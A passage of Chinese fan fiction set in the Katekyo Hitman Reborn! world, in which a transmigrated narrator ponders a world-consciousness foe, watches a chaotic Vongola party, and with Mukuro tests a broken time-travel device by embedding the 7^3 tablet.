再比如,在我尝试学习觉悟燃火的时候,确实是在逐渐加深和这个世界的联系,并且在主动朝着同化的方向前进。但是,很不同寻常的是,这次的世界意识在拒绝我的同化。 不是我没有觉悟,而是卷王背后搞鬼——我确信! 确信的理由我也很快就找好了……呸,是很快就想通了。八兆亿卷王是世界意识的化身,不论有多少自主思考能力,祂都是世界的一部分,自然要遵循着世界本身的发展方向——也就是俗称的剧情线。 祂不可能自己主动打破剧情线的发展,所有世界之中的人物——不论是主角、龙套还是连名字都没有的背景,都是“世界”的一部分,无法脱离写作大宇宙、读作天野娘的剧情线桎梏。所以,卷王才需要一个世界之外的“异常”。 我就是这个“异常”。 即使如此,八兆亿卷王也只能在距离“兆亿奇迹”的主线世界最远的边缘才能制造“异常”的契机。 祂最初不能、也不需要刻意引导我做什么,只需要让我出现在这个世界,就已经算是第一阶段胜利。 现在想来,我那几千次穿越,本质上来说就是几千次帮助八兆亿卷王打破剧情桎梏。 这一波,是我背刺我自己。 卷王就是卷王,轻易就做到了别人做不到的事。哪怕他只需要引我进入这个世界就足够,可祂也毫不含糊地在我心里埋下了白花花=邪恶摇粒绒的种子。 祂这样的世界意识眼里的世界究竟是什么样的呢? 和八兆亿卷王对立的一切,对我来说都是新鲜经历,让我忍不住多想。尤其让我好奇的是,卷王祂究竟打算如何把其他的东西都吸引到石板上呢? 现在几乎已经没了打BOSS的压力,不论是彭格列还是彩虹之子,应该都不会把自己的力量放到石板上了吧。 我低头看了看仍然戴在手上的玛雷指环——理论上来说,八兆亿卷王能通过强大的平行时空之力做到的事,只要搞清楚原理,我也能做得到。 祂可是从世界壁外触碰到了穿越司,如果我朝着一个方向不断突破世界壁垒,总能够到“世界的边缘”,在那样的地方我大概是能够确保自己和攻击穿越司的卷王一样,突破返回——难道我也要做相同的事情吗? 万一基友在进行一些神秘的土木工程,我突然冲进去强行打断,让他全部白干……呜啊,能够想象到基友生气的表情了。 我赶紧打消了这个念头。 没有目标好可怕! “啊——接下来究竟要怎么做才好啊!”我在沙发上扭曲、翻滚、阴暗爬行。 打开门的纲吉看着我的样子,手里的饼干都掉在了地上,“……纲不吉君你,在干什么?” 我的脸闷在沙发里,连头都没有抬,“你才是,Reborn不是给你安排了彭格列式庆祝宴吗?” 读作彭格列式庆祝宴,写作Reborn的特别训练——时常会让人真的“重生(Reborn)”的那种。 任何东西,只要让Reborn带上了“彭格列”这三个字的前缀,似乎都会变得不可捉摸起来。 哪怕是这样严密的基地——特制的建筑材料、精心设计过的基地布局——我都隐约能够听到庆祝宴上传来的接连不断的“砰砰砰”。 啊,这就是青~春~ 果然,日常篇才是最可怕的。真正的彭格列家族就是要做到,当没有危险的时候,自己就会成为危险本身。 纲吉显然是被打发来跑腿的,“正因为是庆祝宴,所以我才来邀请纲不吉君的啊。多亏了你,我们才能顺利地回来,而且应对密鲁菲奥雷的局势也一片向好,尤尼酱也联系到了想要联系的人,正一君已经帮忙做了安排……这一切都要感谢你才行!”纲吉超认真,“而且,我们昨天不是说好了吗?” 啊,想起来了,好像确实是有这么一件事来着。只穿着大裤衩子的纲吉邀请我去参加彭格列庆祝宴——而且还是在众目睽睽之下,狱寺那个冒火的小眼神确实很难让人遗忘。 我都能想象得到Reborn说话的语气,站在桌子上手持列恩枪,对纲吉发号施令,“身为彭格列的BOSS,怎么能连这点事都做不到,给我拼死去邀请吧!” 出走多年,归来仍要裸|奔——真是太辛苦了呢,纲吉君。 昨天我确实是接受了纲吉君字面意义上的拼死邀请,但一晚上过去,我脑子里塞满了颓废的正事,完全忘记了这一茬。 “嗯,说好了啊——”我拖长了语调,手一撑,从沙发上爬了起来,用力揉搓着自己的脸蛋以保持清醒,“说是庆祝……但其实,密鲁菲奥雷还没有完全解决掉吧?” “是没有,但哪怕是最激烈的欧洲战场,最近也基本处于停战状态。”纲吉一根手指点在下巴上,看样子是努力地回忆Reborn交给他的欧洲战报。 学会阅读战报、并且学习指挥官技能也是成为彭格列十代目BOSS的必经之路。 我看着纲吉可靠的背影——十年后的这场未来战,即使没有进行到最后,也依然让纲吉成长了不少。 不知为何,我莫名有些欣慰。 住脑,我不是斯库瓦罗男妈妈! 可这种感情的酝酿还没有超过三秒,纲吉的碎碎念就不由自主地突破了他的躯壳,“啊——为什么这种事要交给我做啊,我明明连意大利语都没有学会,报告什么的还得对着字典来查!Reborn非要说给我创造一个良好语言环境,狱寺君西西里岛纯正口音话我完全听不懂。但如果不回应的话,狱寺绝对会失望到掉色的!还有山本君,他究竟是什么时候学会的外语,明明在学校也只是勉强及格的水平,为什么只有意大利语学得这么快啊!” 他用力地揉搓自己的刺猬头,指缝里不知不觉就揪下来几根头发。 我思考了一下,接话道:“大概是因为斯库瓦罗的吧,那个剑帝成长之路的碟片,三分之一是意大利语、三分之一是英语,还有其他不等的德语、俄语,山本君在这方面其实还挺有天赋的,基本上全部学会了来着。真的,天生的杀手,不仅要有剑术天赋,还要有语言天赋,虽然做题完全不行,但天然系的语感满分,再加上世界通用手语,交流完全不是问题。我前几天还看到他和斯库瓦罗远程视频来着,纯用意大利语。” 说起来,斯库瓦罗返回瓦利亚也快一周的时间了吧,并盛趋于稳定,他马上就被瓦利亚那一大家子熊孩子召唤回去了。 据说他离开之后,瓦利亚的基地已经被自己人捣毁了六个,他要是再不回去,瓦利亚就要彻底“破产”了。 ——从金钱和情感上都是,瓦利亚不能失去斯库瓦罗这个男妈妈,就像西方不能失去耶路撒冷! “说起来瓦利亚,Reborn究竟是怎么想的,竟然让我给瓦利亚下命令停战——真的会有人以为,瓦利亚的那些人们会听我的话吗!啊啊啊啊啊啊啊,不如说我下令之后,那边打得更欢了啊,这样下去,Reborn真的要让我裸|奔去意大利了,只有这个绝对不要!”纲吉抱着头,一点也不想知道Reborn的死气弹之下,自己究竟会做什么。 我怜爱地摸了摸他的刺猬头,这么直愣愣的头发,为什么会这么柔软呢? 细软发质竟然能够如此支棱,这不科学。 “但是,就结果来说,欧洲那边已经没有再打了吧,桔梗对形势的判断很正确,隐瞒白兰的死讯,然后收缩势力、稳定局势——尤其是要控制好原本属于基里奥内罗家族的黑魔咒部分。”我安慰了他一句,不论过程如何,只要能停战,纲吉应该就算是完成任务了吧。 如果要打持久战的话,我不认为失去了绝对压制力的密鲁菲奥雷能够获胜。 且不说彭格列的底蕴本来就更深厚、友军范围也更广泛,哪怕单从密鲁菲奥雷内部来看,抛开“绝对的力”以外,它也没有太多胜算。 本来密鲁菲奥雷就是拼接起来的家族,白花花自负于自己的实力,从来没有认真经营过家族的内部关系。他在“统治”,而非经营。 以至于杰索家族和基里奥内罗——白魔咒和黑魔咒——之间长久存在着矛盾。杰索家族全系于白花花一身,真六吊花之中即使是最有话语权的桔梗也无法替代白花花的位置;同时,基里奥内罗也并非是自愿与之合并,密鲁菲奥雷这个组织从最开始,内部就存在着激烈的、不可调和的问题。 更何况,尤尼酱现在是彭格列的同伴,她正处在十代目先生的庇佑之下。 桔梗比任何人都更清楚这些矛盾和弊端,他是聪明人,所以应该不会强行续战,这个时候保证内部的稳定才是聪明之举。 我坚信自己的判断,期待地看向了纲吉。 “不——”但纲吉一脸丧,用没有高光的可怕眼神看着我,整个人已经失去了彩色的画风,变成了纯正的黑白人,“Reborn说的是让瓦利亚的人内部停战。” ……自裁吧,纲吉。 是不可能完成的任务呢。 纲吉:QAQ * 彭格列式庆祝宴,完全不出所料。 我打开门,只看到猫咪与袋鼠乱飞,燕子共野牛一色……这里不是彭格列基地,而是彭格列动物园。 “可恶,给我回来,瓜!”狱寺顶着一脸被猫爪抓出来的伤痕,向上一扑,冲向了他自己的匣兵器瓜。 但很显然,猫咪的反应是人的七倍,瓜的反应是狱寺的七倍。在他跳起来的一瞬间,我就知道,猫咪是故意的。 只见瓜表演了一个无后坐力的原地起跳空中转体720°,柔软小爪爪踩着狱寺的额头,看着自己的主人君自由落体,脸接蛋糕。 四层大蛋糕,完完全全把狱寺埋在了里面,猫咪瓜只是扫了扫尾巴,站在狱寺的神经之巅,留下了一地的猫毛。 小猫能有什么坏心眼呢,它不过是想让狱寺一个人独享蛋糕罢了。 “哈哈哈哈哈哈,章鱼头是个笨蛋,大笨蛋!”蓝波坐在同样是牛的牛盖饭头上。 不是我吐槽,一个牛的名字叫牛盖饭……这合理吗? “可恶!”狱寺在蓝波嚣张的笑声里,随手抓起一把奶油,用他多年来扔炸弹的精准程度,扔了出去。 “啪”的一声,正中蓝波的脸。 原本“嘻嘻”的蓝波,顿时变成了“不嘻嘻”的表情,泛红的鼻梁上滑下蛋糕碎,蓝波的泪水在眼眶里打转,“要·忍·耐!” 不,这已经是完全忍耐不住的状态了。 主人的情绪传到了匣兵器的身上,牛盖饭前蹄在地面上刨了几下,接着就直直地冲了出去。 啊,了平大哥的袋鼠汉我流被撞飞了。 “开始了吗,极限的拳击比赛!” 伴随着了平大哥热血沸腾的声音,汉我流落在地上,眼神犀利起来,袋鼠手上套着的拳击手套壮大,完全进入了热血战斗的状态。 然后这暴力袋鼠一个旋转拳,波及了正准备取一块巧克力尝尝看的骸枭上。 骸枭,已黑化。 一只鸟发出了还诡异的“kufufufufu”的声音,羽翼上蔓延出了迷雾般的火焰。 这才是真正的彩虹之战,已经完全失控了。 “不、不愧是彭格列式庆祝宴。”我赞叹着,看向旁边的纲吉——不好,他已经吐魂了! 不要放弃活下去的希望啊,纲吉君! 突然,我们背后传来一个稚嫩的声音,“维护家族内部的稳定,是每一个合格BOSS的必修课!” Reborn说着,毫不犹豫地在他的背后踹了一脚,将他推入了混乱的“家族内战”。 “唔啊——!”猝不及防的纲吉根本没有站稳,顺着这股力量的惯性,跌跌撞撞就闯了进去。 我的视线撞上了他大大的黑色眼睛,此刻,无需多言。 唯有甩出一排六百六十六。 看来,除了没有加入群聚的云雀恭弥,没有一个人能够摆脱彭格列聚会必炸锅的定律…… 这个想法刚刚出现,我就看到被Reborn踹得失衡的亲爱的纲吉同学,一跤摔到了刺猬小卷的身上。 这就是大空的力量吗,即使是用脸接刺猬,也能保持微笑! 不愧是能够成为八兆亿奇迹的男人。 “啊——十代目!”反倒是狱寺·第一忠犬·纲吉激推·隼人反应最激烈,看到这一幕直接开匣,打开了自己引以为傲的C.A.I.系统,一招毫无保留的超强风暴炸弹直接攻向了小卷,直接将正在咬饼干的小卷掀飞了出去,整背的尖刺落在了已经不嘻嘻的蓝波的身上—— 蓝波忍耐。 蓝波忍耐失败。 蓝波打开了自己隐藏在头发里的四次元宝库。 秘技,王之财宝·手榴弹版! 战局扩大了。 前言撤回,没有任何人能够逃脱彭格列第一定律——聚会必炸锅。 我扶额。 果然,不是我故意忘记昨天的邀约,而是潜意识里的某处,早就已经预料到了这样的结局。 我往后退了一步,避开了膨胀的小卷的刺。 强尼二好惨,悲伤发际线惨遭不明来源的火焰的二次伤害。 突兀地,我产生了一种担忧感。 连没有什么黑泥的热血中二彩虹少年们都打成了这样,那被我用手环丢到穿越司里的白花花若是和某个首领宰撞在一起,会是怎样的“盛况”? 甚尔又是那种性格——怎么办,完全不敢想。 别还没等我回去,老家就直接被端掉了吧? 我脑子里不由得浮现出笑眯眯的小兔宰子,以及笑眯眯的邪恶摇粒绒—— 黑暗到完全看到未来呢,我亲爱的人生。 “你,一副‘果然还是变成了这样’的样子啊。”Reborn的话突然把我拉回了现实。 我这才发现,从刚才踹走纲吉开始,Reborn就一直站在我身边。见我转头,他露出一个高深莫测的笑容来,“果然,从各种意义上来说,你对我们很熟悉,不论属性、能力、兵器还是人本身。” 虽然最一开始就表露出了对彭格列家族的熟悉,再加上我这个恶搞名字……想不被想歪都难。 Reborn会等到现在,无非是因为先前的时间紧迫和来自白花花的战力压制,他作为纲吉的老师、彭格列的问外顾问必须优先考虑主角团的修行。 现在闲了下来,有了机会,他自然就要一探究竟。 这也是我早就预料到的情况。 我耸了耸肩,完全没有否定的欲望。 “相当了解,是连纲吉君‘想成为机器人’这样的童年梦想都知道的了解程度哦——顺便一提,我还知道Reborn虽然现在体重3.7公斤,但本体可是又高又帅又可靠的家伙。”成男Reborn,酷到没朋友。 我“嘿嘿”一笑,表示皮这一下很开心。 听到我这样说,Reborn脸上连一点意外的表情都没有,大大的豆豆眼一下也不眨——不愧是能够睁着眼睛睡觉的第一杀手,眼神竟然如此犀利。 “这是在暗指我现在不高不帅不可靠吗?” 送命题? 不,只是单纯的也皮一下。 就连列恩也在笑。 一只笑眯眯的变色龙……从各种意义上来说都很微妙啊。 但不知道为什么,看着眼前这混乱的庆祝宴,再看看连头顶列恩都眯起了眼的Reborn,突然感觉一阵安心。 事实上,情况只是有些僵持,完全算不上差吧。 我举手投降,表情却认真了起来,“不,彭格列中没有比Reborn更可靠的人了。” “是吗。”他一点也没有推辞谦虚的意思,没有用任何疑问的语气,满意地应了下来,“所以,有兴趣和‘最可靠的人’倾诉一下烦恼吗?” 我有些意外地看着他。 果然是我最近的MADAO感太盛了吗?就连山本这样的天然昨天都对我投以担忧的目光。 认真地说,我和主角团相处的时间绝对不长,毕竟我的剧情里,他们大半都迷失在时间线上。他们的剧情里,我是个突然闯入战场的怪人。而且,我这个世界之外的“点”,是不存在于过去时间线的,他们自然也不可能从过去调查到任何关于我的事情。 但不知是因为纲吉超直感的缘故,还是说来自于中二少年的心性,亦或是我的种种表现,他们对我的接受度好高,信任度也好高,高到甚至可以分出来多余的情感对我表示关心的程度。 我收回注视着Reborn的视线,垂下肩膀,长长地叹了一口气—— “也太犯规了吧……” 这样的话,让我还怎么忍心把“毁灭世界”这四个字放在选项上啊。 罢了——我的眼神逐渐坚定起来,意志在迷雾中逐渐清晰。 再怎么说,我也是会在深夜里释放中二之魂的男大Coser! 不就是世界意识吗,不是就是八兆亿卷王吗? 搞得好像谁还不会卷了一样——不要小看我在高考中释放的卷力啊,可恶! 第135章 总而言之就是, 我正在绝赞热血上头中。 谁心里还没有个中二之魂了,这很正常。 这一次,我终于完全把所谓毁灭世界的选项完全删掉了, 大反派支线体验卡注销中…… 如果是面对五条悟那样的鸡掰猫或者是太宰治那样的黑泥精, 说不定我还能下定决心。但是彭格列的大家实在是太温柔了,尤尼酱又那么可爱,根!本!下!不!了!手! 完败。 下定了决心也好。 下定了这样的决心, 没有捷径可走,自然就要想办法另辟蹊径。 已知,八兆亿卷王来源于世界意识的自我防御式的进化;且,世界意识以7^3为基石, 建立在人类认知之上。 求, 该如何避开世界和人类认知本身,单独搞掉卷王。 我拿出了我高考将数学猛冲到及格线上的卷力,认真分析题干! 在已知的条件里,抛开最终需要我求解的八兆亿卷王,有价值的信息分别是:世界意识中未自主进化的规则部分——也可以简单概括为“世界”、7^3世界基石、人类认知, 这三个信息。 题目的要求里, 有两个元素是绝对不可以动的,一个是世界, 一个人类认知——这两个选项通往的是已经被我删掉的反派大BOSS支线。那么排除法来做决定, 我无论如何都只能将希望寄托在7^3基石这一个元素上,进行微操。 不愧是我, 这么轻易就想通了关键之处。 我自信昂首, 翘起尾巴。 那么接下来需要我做的就很直白了:如果说原本是三个条件共同组成了八兆亿卷王, 那我现在就要让卷王站在一座名为7^3基石的孤岛上。而且, 大条件下的小条件, 我还需要避开7^3「适格者」的身份。也即,要让卷王的实体建立在7^3基石本身,而非是7^3的「适格者」们。 我第一次觉得数学是个好东西,用理性的解题方式,我竟然这么快就找到了答案。 站在7^3石板之前,我满意地点头。 所以,答案就只能是这个了吧——独立于「适格者」们存在的基石本身。 一如既往,一进入这里,我就感觉到自己的手像是被无形之力托举一样,想要不自觉地抬起来向前——更准确地来说,这种无形的吸引力托举的不是我的手,而是我手上的指环。我明白,这种感觉来源于八兆亿卷王。 祂还不死心呢。 虽然暂时还不能完全看清八兆亿卷王的目的,但祂利用石板抄袭了我的建模、记录了那模拟石板的七秒……这些迹象无不暗示祂的意图——八兆亿卷王也想要独立的自己,想要一个力量完整的7^3石板。 这不是正好吗?祂也想要完整的石板。 或许,祂也想要从世界意识、世界的规则中完全独立出来? 不是不能理解。 眼前灰色的石板在我眼中仿佛有生命般地幽深了起来。即使没有亲眼见过,我也能想到,若是让八兆亿卷王利用完整的7^3石板独立出来,变成一个完全体,就等于将时间线、空间线,以及由这横纵两条轴交错而出的所有轴点都纳入能力范围的,超级变态大大大BOOS。 肉眼可见的难对付。 但,再大的冰块也能被击碎,再小的水流都无法被斩断。 有形总比无形要好应对,更何况,我也有好几重保险可以使用。 我怎么总在和自己的敌人达成共识。 真是让人想不通。 说起来,我之前是不是已经在无意识中给自己埋好了伏笔? 之前明明只是为了不让八兆亿卷王起疑,所以才通过六道骸制造了“7^3石板意识”这样的谎言。 但没想到,认知这种东西真是很微妙,六道骸想得越多越复杂,反而会让认知更加稳固。 对于世界来说,稳固的认知,就等于事实。该怎么说呢……「谎言」重复一千遍后,变成了「真相」。 这对八兆亿卷王来说也确实是个不可多得的好借口,祂或许也在使用自己的影响力推波助澜。 我可真是个小幸运鬼,终于,我也有从幸运E进化到幸运EX的一天了吗! 兴奋.jpg 我摘掉了手指上玛雷指环,既然如此,那不如直接将大空指环也放上去。然后再想办法忽悠忽悠纲吉和尤尼酱……啊,不能忘了,还要搞定初代家族。 受到封印之后的彭格列指环是不完整的基石。 初代试炼的剧情已经过了,初代家族本身也很少会直接出现……头痛了啊,要找什么理由忽悠一下呢? 要找什么理由能让尤尼酱和纲吉他们自愿地把指环放到石板上呢? 我看着石板上属于彭格列的片区里那个云属性的凹槽,不由想到几天前才在众人面前和云雀讨论过的设定——「适格者」是很重要的,如果八兆亿卷王无法通过温和的手段,顺理成章地将指环搞到手的话,说不定会出现什么激烈的反应。 那家伙,就像是拥有巨大力量的小婴儿一样,初生的祂根本没有完整的人性,直白得残酷。 “哦呀,这不是纲不吉君吗?在这里相遇可真是巧合。” 我还没有把手上的大空玛雷指环放到石板上,身后传来的声音就让我顿住了行动。 是不用回头都能知道的对象呢。 “骸君,真是没想到你也会回彭格列基地啊。”没错,这个语气一听就知道是六道骸·开罐版。 他怎么突然出现在我身后,不会是偷偷尾随我而来的吧? 老跟踪狂了。 “Kufufufu——我可爱的库洛姆的要求,我怎么能拒绝呢?”他上前走了几步,和我并肩。 说实话,他毕竟是在罐头里泡了十年的罐头,即使这是不讲科学的二次元,六道骸的脸色也不可避免的有些苍白。 晴之火焰可以拯救他长久不活动的萎缩的肌肉,但却救不了这长期不晒太阳的女鬼皮肤。而且,有过光头经历的我不自觉地关注着他脑后那长长的蓝色头发,扎起来竟然只有小小一撮。 果然,幻术是个费脑子的活,六道骸的发量堪忧。 真为他的头发感到担忧。 “我就说你怎么会有闲心参加他们的庆祝宴,原来是库洛姆邀请的你啊,那就不奇怪了。”我把视线收了回来,“既然是来参加庆祝宴的,你不在宴会厅,来这里干什么?” “我没有掺和到小孩儿混战里的兴趣,如果让我可爱的库洛姆扫兴了可不好。” 差点忘记了,这个六道骸不仅六世轮回,而且还是唯一没有穿越的十年后限定版本。对他来说,用“小孩儿”来代指那些庆祝宴上的主角团,完全不夸张。 在面对毁灭级玩闹的小孩聚会,六道骸竟然还能为了库洛姆的心情,维持这般的稳定情绪——六道骸,一款不扫兴的家长。 Good Job! “那纲不吉君呢,我听说那个彩虹之子可是专门让沢田纲吉来请了你,这个时候怎么会出现在这里呢?”他的眼神扫过我摘下来的指环,“难道是有什么重要的事情,不能耽搁吗?” 总感觉他是不是误会了什么的样子。 “去了,但那个局面,我根本进不去。”我揉了揉鼻子。六道骸这个人的想法太诡谲,不能被他牵着鼻子走,我顺势将话题扶正,“与其在那里胡闹,不如来看看正事。” “正事?Kufufufu……难道是7^3的‘意识’又有什么新的指令吗?” 他重音了“指令”这个词。 上一次,他虽然接受了我的嘴遁,但显然,他心里的怀疑一直没能完全消除。他的眼神中蕴含着一些说不清的情绪。 不过,这样的六道骸确实也是不错的经验包。 我揣摩了一下出题人的意图,这才开口,“指令倒是谈不上,只是稍微好奇,到底是什么将现在的时间锁住了。” 六道骸没有说话,只是一味地用他那只超级难COS的汉字美瞳盯着我。 我挑起眉,以拳敲掌,假装此时才想起来,“差点忘记,因为骸君才刚刚回来,所以还不知道的吧?白色穿越装置出现了问题,正一君尝试了许多次,但都无法启动。你知道,十年前的纲吉君他们是通过这个装置从过去穿越到了现在,想要返回的话,也必须要用同样的办法。但——现在这条路被堵死了,所以才说,现在的时间被锁住了,他们无法离开。” 我说着瞄了一眼六道骸身后的小辫子,“说起来,骸君还没有见正一君吧,他这两天正愁得睡不着觉,发际线朝着强尼二的方向一去不返,超可怜!这样下去,他早晚有一天会因为熬夜过度而猝死的。” “这倒是第一次听说。”六道骸是幻术师,和科学侧的入江正一一干人等不在同一领域。所以在科学上遇到的问题,正一他们一般也不会主动来找六道骸商谈,再加上六道骸本身不是穿越组的成员,又是今天才刚刚返回并盛,所以他还真不知道有这一茬。 “既然纲不吉君出现在这里,那就一定是有什么想法了吧。” 别对我这么有信心啊,骸大人。 “只是一点猜测而已,”我摇摇头,以退为进谦虚了一句,“白色装置是正一君根据十年炮筒的原理,再加上彭格列属性修正出来的科学穿越装置。时间穿越本身就是非常危险的事情,所以正一君也一直很谨慎,在真正投入使用之前,调试过多次,以确保它的稳定性和安全性。所以它的穿越功能从来没有出现问题,即使是不久前的穿越异常,也是因为石榴和白兰的外部扰乱,并非装置本身的错乱。” 说起石榴,当时和他对战的时候,我真是有点杀疯了,完全没有顾及任何后事。将夺走他的指环、破坏他的修罗开匣之后,我又带着另外三个真六吊花穿越。等我回来时,已经跳入了八兆亿卷王的圈套,兜兜转转地再也没有关注过石榴的动向。 听拉尔·米尔奇说,他还活着,现在算是个重要的俘虏。 只不过受到了身体和精神的双重打击,估计需要很长时间才能恢复——通俗来讲就是,从原来那种“轻易能够统治世界”的美梦当中清醒过来了。 不愧是我最强的人格修正拳。 六道骸一点也不关注石榴的生理和心理状态,他更在意我描述的白色装置问题,“这倒是没错,如果是装置的问题,沢田纲吉也没那么容易从异常时间轴点返回。” 不,其实根本不容易! “至少在那个时候,白色装置还是一切正常,甚至检测身体的时候,也没有出现问题……但,等到欧洲战场那边的局势明朗,正一君认为可以尝试将纲吉君他们送回十年前的时候,问题出现了。” “无法起效是从这里开始的,直接结果就是‘无法返回’,是怀疑有什么人不想让沢田纲吉回去吗?”六道骸一点就通。 “是啊,仿佛一夜之间出现的器械故障,完全找不到原因,正一君仔细地检查了白色装置的构架、原理和数据,斯帕纳和强尼二更是将装置中的每一个螺丝钉都检查过了——不是机械故障,也不是原理问题……找不到问题才是最大的问题,真让人头痛。”我做出了一副烦恼的姿态。 不过事实上,我应该比任何人都更清楚地知道原因。 他们不能走,是因为八兆亿卷王还没有得到完整的7^3石板,祂不会让他们走。他们走了,祂想要的基石不久没有了吗? 「未来」的彭格列指环已经被销毁,「过去」彭格列的到来和胜利都无法改变这一点。 不过具体是如何阻止装置运行的……我没有那么渊博的知识,说不出科学原理来。 但毫无疑问,关键仍然在于石板。 “我和正一君复盘过一次,装置没有出现问题,那么在上次使用装置时出现的唯一变量,就只有它了——”我抬手,指着眼前的石板,感受着石板中传来的阵阵呼应,“为了定位异常时间点、并且将纲吉君他们强行拉回这里来,上次的穿越里,动用了7^3石板的力量。” “……原来如此。”六道骸眯眼,深邃的眼神仿佛是在解构着眼前的完全物质,“Kufufufu——看来是我误会纲不吉君了。” 所以,六道骸以为我在干什么? 他的表情……总感觉是在想什么危险的事,还是不要打开潘多拉的魔盒。 “真是烦恼啊——呐,骸君有什么想法吗?”我看向了旁边六道骸,心里有一些暗暗的期待。 毕竟他现在还是八兆亿卷王的重要组成部分,说不定卷王已经在什么地方暗示了他呢? 无法直接通过石板和我交流,但卷王的急迫程度远在我之上,我赌祂会想办法给我打助攻。 “很遗憾,这并不是我擅长的领域。” 赌、赌输了? 这样啊…… 我有点失落,是我想得太好了吗。 “不过——”六道骸欲扬先抑,直接就是一个转折,“如果是石板问题的话,为什么不重新将石板嵌入装置之中,看看情况呢?” 说了和没说一样,“我难道不知道将它嵌回去检查状况吗?” 六道骸并不因为我的语气而恼怒,只是从善如流,“所以——你试了吗?” “……没有。”我的气势一下就弱了下去,但这不是我的问题,“正一君的态度很保守。” 他认为直接将石板嵌入装置中太过冒进,倾向于先将二者分开来进行研究。 我是个莽夫,我赞成直接将石板嵌回去,可我前两天不是在颓废吗? 六道·似乎露出了成熟的大人的表情·让我感到惊悚·骸,开口,“Kufufufu——这个世界不存在不需要冒风险的事情。” “赞成。”但凡犹豫一秒,都是对热血中二少年的不尊重,“所以我才趁着正一君困在彭格列第一定律中的时候,赶紧做点坏事。” 六道骸打出一个问号,“彭格列第一定律?” “当两个或两个以上彭格列成员聚集到一起的时候,必然会炸锅——简称,聚会必炸锅原理。” 六道骸先是一愣,然后忍不住放声大笑。 不是那种“Kufufufu”的诡笑,而是“Kuhahaha”那种智障儿童欢乐多的笑声。 从某种意义上来说,这样的六道骸看起来更加可怕了呢。 “怎么样,要阻止我做‘坏事’吗?” “不……不如说这样才有趣。” 我觑了几眼六道骸的表情,最终还是决定先把大空玛雷指环戴回手指。虽然和六道骸说的话有一些应付的成分,但将石板嵌入白色装置里确实也是我打算做的事。 我没有马上去动石板,而是先尝试了一下启动白色装置。 在科学性上,我欠缺很多,对装置原理的理解也基本流于表面。不过,我启动它也不是完全是为了科学性,而是要亲眼见证一下白色装置失效时的状态。 毕竟一会儿要对比石板嵌入前和嵌入后的区别,还是先看一眼比较好。 前几天正一给我的邀请全部被我拒了,现在就是一整个后悔。 摆烂给我摆爽了。 “果然,一点变化都没有啊。”我发挥抢课手速,连点着启动按钮。 没反应。 这个装置只是启动的话,并不需要多余的火焰。 但为了以防万一—— “骸君,介意来一点火焰吗?”我指了指周边的凹槽口。 他看着,却没有马上动,反而是在用眼神发出问号。 和直球纲吉待的时间长了,差点忘记六道骸是个谜语人! 我揣摩出眼人的意图,这个问号大概是在问我,为什么不自己做。 “首先,这个装置是经过彭格列指环修整的、穿越时间的装置,只有彭格列的火焰才能最好地启动它。” 正一当然是启动过它,但真正维系它运行的却不是正一本人,核心是装置中存放的「十年后的大家」。 不过,这个连接在白花花上次的破坏中断掉了,如果这个连接没断的话,纲吉他们是不会流落异常时间点的。 但即使断掉、即使出现异常时间点,正一也没敢冒险打开装置,将里面的「十年后」众人释放出来进行检查。 如果没有我提供的石板方案,说不定正一最终会打开装置。 不久之前的那次穿越,主角团的返回依靠的则是石板拟态,也包括了模拟的彭格列指环的力量。 纵向时间轴的力量是白色装置穿越的关键,我拟态的火焰依托在大空玛雷指环上,很容易改时间属性为空间属性——我给出的理由很合理,绝不是因为我担心没有被同化的我拟态的火焰不起效,而被六道骸发现破绽这种草率的原因。 “我并不拥有彭格列指环,那在我可爱的库洛姆手中。” “所以‘彭格列之火焰’并非是‘彭格列指环之火焰’哦。”我认真地区别二者,“重点是「「适格者」」的身份,不论有没有指环,这个身份都不会改变。最大的证据就是,白兰第一次穿越平行时空的经历,实际上也早于他获得指环。是因为你们有这样的特性,所以才能使用特殊的世界基石,而非拥有了世界基石才能使用这样的力量——「适格者」在前,指环在后。” 这个先后关系非常重要,绝对!绝对!不能搞混。 只有将「「适格者」」的身份明确独立出来,即使将所有的基石都正位嵌入石板中,主角团依然能有牵制石板的机会。 “顺便一提,原本驱动装置的你的同伴们,”我看着六道骸,意有所指,所谓“他的同伴”指的当然是他这个「十年后」身份的那些同伴,“他们不是也全——部——没有指环吗?” 即使没有指环,仍然成为了关键。 最容易接受这个设定的,莫过于原本就是「十年后」身份的六道骸。 “Kufufufu——原来如此。”他眼神中的什么突然变得异常幽深,似乎是接受了我口中的某些设定,但这种眼神……我怎么突然有种不好的预感。 果然,他停了几秒之后开口了,“白兰·杰索在获得指环之前就已经有过穿越经历,这还是我第一次听说。” ……不好,有点得意忘形了,谁知道这个设定竟然只是动漫背景,而非人尽皆知吗? 我目移—— “嗯,是吧。”我硬着头皮回答,只要我够坚定,我就没有破绽!“所以,火焰。” 我指了指操作台。 这一次,六道骸终于没有再整什么幺蛾子,正儿八经地将他的火焰输入进去。 一阵安静。 “……还是没反应?”我有些意外,卷王一点甜头都不打算给我的吗? “不,”六道骸眯眼,“它吸收了我的火焰。” 有行动,只是没有直观反应。 装置不是活物,没有储火功能,没有开机本应该没有消耗,吞掉六道骸火焰的或许另有其人——装置之外的某些东西?石板?还是卷王? 我对六道骸点头,表示了解。 既然这些手段都用过了,接下来自然就要将石板嵌入装置中了。 这一步很容易,石板就像一块超强吸铁石,一面吸引着我手上的指环,一面吸引着装置的嵌位。 “咔吧”一声,就像是磁吸设计一样,石板比上一次更顺利地合在其上。 我没有「六眼」,但却也清晰地感觉到,石板的某些部分和装置连在了一起。 而且,总感觉这种微妙的连接感还挺熟悉,我挠头,到底是哪里熟悉来着? “哦呀,这还真是有趣。” 我一转头,便看到六道骸满脸兴味,眼神中闪烁着异样的光芒。 大哥,这种时候就不要搞什么信息壁垒谜语人了吧,赶紧说话! 我等了两秒,见他真的没有直接告诉我的欲望,我不得不开口棒读捧哏,“什么有趣?” 六道·偶像包袱·需要观众·骸拉开一个满意的笑脸,“刚才还不明显,现在看的话,石板本体——甚至还包括装置整体,简直处在一种奇妙的‘轮回’之中。” “哈——”我煞有介事地点头、眯眼、拖长语调,用这种方法来掩盖自己完全没有听懂的事实。 也不知道六道骸是看出来我没有听懂,还是单纯地展示自己身为二次元人物的开口必解释的设定,“它之所以无法启动,是因为他原本就一直处在启动中——Kufufufu,你怎么能启动一个已经在启动中的装置呢。” 啊? 一直在启动?开玩笑的吧? “但是,正一君确定过,装置非常稳定。”开启的装置牵连着全线十年的时间轴,当然不可能是稳定的状态,需要人实时调试,甚至需要多个人同时操控装置。 正一正是从这一点确认,装置一定是关闭的状态。 